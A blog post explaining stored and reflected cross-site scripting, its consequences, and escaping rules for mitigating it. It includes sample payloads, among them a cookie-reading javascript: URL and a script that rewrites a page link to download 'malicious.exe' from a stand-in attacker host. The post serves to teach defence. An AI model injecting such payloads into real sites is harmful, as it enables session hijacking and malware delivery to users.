What are Stored XSS and Reflected XSS Attacks??

What are Stored XSS and Reflected XSS Attacks


——————————————————————————–

Stored XSS attacks are those where the injected code is permanently stored on the target servers, such as in a database, in a message forum, visitor log, comment field, etc. The victim then retrieves the malicious script from the server when it requests the stored information.

Reflected XSS attacks are those where the injected code is reflected off the web server, such as in an error message, search result, or any other response that includes some or all of the input sent to the server as part of the request.

 

Consequences of the Stored / Reflected XSS Attacks

——————————————————————————–

The consequences of XSS attack are the same regardless of whether it is stored or reflected. XSS can cause a variety of problems for the end user that ranges in severity from an annoyance to complete account compromise.

The most severe XSS attacks involve disclosure of the user’s session cookie, allowing an attacker to hijack the user’s session and take over the account. Other damaging attacks include the disclosure of end user files, installation of Trojan horse programs, redirect the user to some other page or site, or modify presentation of content.

 

How it Occurs

——————————————————————————–

This attack involves breaking out the data content and switching into code content through the use of special characters XSS is a form of injection where the interpreter is a browser and attack are buried in a HTML document. HTML is particularly difficult because it is not only hierarchical, but also contains many different parsers (XML, HTML, JavaScript, VBScript, CSS, URL, etc…). There are two ways to inject the malicious code:

Injecting UP:
The most common way is to close the current context and start a new code context. For example, this is what you do when you close an HTML attribute with a “> and start a new <script> tag.

Injecting DOWN:
The less common way to perform XSS injection is to introduce a code sub-context without closing the current context. For example, if the attacker is able to change <img src=”…UNTRUSTED DATA HERE…” /> into < img src=”javascript: alert(document.cookie)” /> they do not have to break out of the HTML attribute context. Instead, they introduce a sub-context.

Occurs when:
Data enters a web application through an un-trusted source. Un-trusted data is most often data that comes from HTTP request, in the form of URL parameters, form fields, headers or cookies. But data that comes from databases, web-services and any other sources is frequently un-trusted from security prospective. The malicious content sent to the web browser is often executed by the browser in the form of JavaScript, HTML, Flash or any other type.

 

Attack Example

——————————————————————————–

Example 1 http://example.com/index.php?user=<script>alert(123)</script>

Example2

http://example.com/index.php?user=<script>window.onload = function() {var AllLinks=document.getElementsByTagName(“a”);
AllLinks[0].href = “http://badexample.com/malicious.exe”; }</script>

This will cause the user, clicking on the link supplied by the tester, to download the file malicious.exe from a site he controls.

 

Prevention Measures

——————————————————————————–

Traditionally, input validation has been the preferred approach for handling un-trusted data. However, input validation is not a great solution for injection attacks.

As input validation is not a complete solution for injection attacks. It’s better to think of input validation as defense in depth and use escaping as described below as the primary defense.

Developers need to include this escaping in their applications unless their UI framework does this for them. We recommend escape sequence only; we have rolled out for few client and implementation available with Polaris Technical Component Library.

 

Rules for Mitigating XSS

——————————————————————————–

Rule #0 Never Insert Un-trusted Data except in Allowed Locations: The first rule is to deny all – don’t put un-trusted data into your HTML document.
<script>…NEVER PUT UNTRUSTED DATA HERE…</script> directly in a script
<!–…NEVER PUT UNTRUSTED DATA HERE…–> inside an HTML comment
<div …NEVER PUT UNTRUSTED DATA HERE…=test /> in an attribute name
<NEVER PUT UNTRUSTED DATA HERE… href=”/test” /> in a tag name
<style>…NEVER PUT UNTRUSTED DATA HERE…</style> directly in CSS

 

Rule #1 HTML escape before inserting un-trusted data into HTML element content: – Rule #1 is for when you want to put un-trusted data directly into the HTML body. For Examples:
<body>…ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE…</body>
<div>…ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE…</div>
any other normal HTML elements

 

Rule #2 Attribute Escape Before Inserting Un-trusted Data into HTML Common Attributes: – Rule #2 is for putting un-trusted data into typical attribute values like width, name, value, etc. This should not be used for complex attributes like href, src, style, or any of the event handlers like onmouseover.
<div attr=…ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE…>content</div> inside Unquoted attribute
<div attr=’…ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE…’>content</div> inside single quoted attribute
<div attr=”…ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE…”>content</div> inside double quoted attribute

 

Rule #3 JavaScript Escape before Inserting Un-trusted Data into JavaScript Data Values: – Rule #3 concerns dynamically generated JavaScript code – both script blocks and event-handler attributes. The only safe place to put un-trusted data into code is inside a quoted “data value.”
<script>alert(‘…ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE…’)</script> inside a quoted string
<script>x=’…ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE…’</script> one side of a quoted expression
<div onmouseover=”x=’…ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE…’”</div> inside quoted event handler

 

Rule #4 CSS Escape And Strictly Validate Before Inserting Un-trusted Data into HTML Style Property Values: Rule #4 is for when you want to put un-trusted data into a style-sheet or a style tag. CSS is surprisingly powerful, and can be used for numerous attacks.
<style>selector { property : …ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE…; } </style> property value
<style>selector { property : “…ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE…”; } </style> property value
<span style=”property : …ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE…”>text</style> property value

 

Rule #5 URL Escape Before Inserting Un-trusted Data into HTML URL Parameter Values: Rule #5 is for when you want to put un-trusted data into HTTP GET parameter value.
<a href=”http://www.somesite.com?test=…ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE…”>link</a >
WARNING: Do not encode complete or relative URL’s with URL encoding! If un-trusted input is meant to be placed into href, src or other URL-based attributes, it should be validated to make sure it does not point to an unexpected protocol.

 

Recommendation for Stored / Reflected XSS

——————————————————————————–

Traditionally, input validation has been the preferred approach for handling un-trusted data. As input validation is not a complete solution for Stored and Reflected XSS.

It’s better to think of input validation as defense in depth and use escaping as described below as the primary defense. We recommend escape sequence only.

 

XSS Component

——————————————————————————–

 

Related posts:

Comments

comments

Powered by Facebook Comments

%d bloggers like this: